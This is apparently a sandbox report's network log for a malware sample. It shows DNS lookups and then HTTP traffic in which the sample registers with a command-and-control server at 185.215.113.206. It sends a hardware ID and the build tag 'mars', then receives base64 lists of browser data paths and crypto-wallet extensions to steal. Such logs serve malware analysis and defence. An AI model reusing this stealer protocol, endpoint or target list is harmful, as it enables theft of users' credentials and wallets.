Nov 23, 2024 19:52:49.836193085 CET	1.1.1.1	192.168.2.6	0x788a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:49.836584091 CET	1.1.1.1	192.168.2.6	0xf50b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:50.080045938 CET	1.1.1.1	192.168.2.6	0x6090	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:50.080491066 CET	1.1.1.1	192.168.2.6	0xfc93	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:52.220161915 CET	1.1.1.1	192.168.2.6	0xdcde	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:52.220161915 CET	1.1.1.1	192.168.2.6	0xdcde	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:53.060693979 CET	1.1.1.1	192.168.2.6	0x5455	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:53.060693979 CET	1.1.1.1	192.168.2.6	0x5455	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:53.085702896 CET	1.1.1.1	192.168.2.6	0xa84a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:53.773354053 CET	1.1.1.1	192.168.2.6	0xd69f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:53.773354053 CET	1.1.1.1	192.168.2.6	0xd69f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:53.779972076 CET	1.1.1.1	192.168.2.6	0xa4d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:55.979355097 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:55.979355097 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:56.967602968 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:56.967602968 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:57.962390900 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:57.962390900 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.23	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.101	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.21	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.102	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.72	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:58.950186014 CET	1.1.1.1	192.168.2.6	0x26b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.104	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:52:59.991048098 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:52:59.991048098 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:03.996814013 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 19:53:03.996814013 CET	1.1.1.1	192.168.2.6	0x528f	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:46.138793945 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:46.138793945 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:47.134747028 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:47.134747028 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:48.273885012 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:48.273885012 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:50.193679094 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:50.193679094 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:54.187923908 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:53:54.187923908 CET	1.1.1.1	192.168.2.6	0xac51	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49736	185.215.113.206	80	3564	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:52:19.178025961 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 19:52:20.532171011 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:52:20.566831112 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 35 39 42 41 39 37 42 34 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"DD59BA97B42C1204349748------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"mars------FIIIIDGHJEBFBGDHDGII--
Nov 23, 2024 19:52:21.020023108 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 51 7a 59 32 51 33 59 54 51 7a 5a 6d 55 7a 5a 54 51 7a 4d 7a 4a 6c 4d 6d 55 78 59 57 56 6d 4e 54 45 7a 5a 47 55 78 4e 6a 4a 69 5a 6d 56 68 4f 57 46 68 4d 47 56 68 4d 57 59 77 4d 44 51 77 4d 57 49 32 4f 54 59 34 4e 6a 41 32 4f 54 6b 78 4e 44 55 79 4f 57 49 7a 59 57 46 6b 4d 54 64 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MGQzY2Q3YTQzZmUzZTQzMzJlMmUxYWVmNTEzZGUxNjJiZmVhOWFhMGVhMWYwMDQwMWI2OTY4NjA2OTkxNDUyOWIzYWFkMTdlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 19:52:21.021276951 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"browsers------JDAFBKECAKFCAAAKJDAK--
Nov 23, 2024 19:52:21.525213957 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 19:52:21.525316954 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 19:52:21.526545048 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="message"plugins------GHJKECAAAFHJECAAAEBF--
Nov 23, 2024 19:52:22.142749071 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 19:52:22.142766953 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 19:52:22.142776966 CET	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 19:52:22.142817020 CET	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Nov 23, 2024 19:52:22.142851114 CET	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Nov 23, 2024 19:52:22.142864943 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 23, 2024 19:52:22.142935038 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
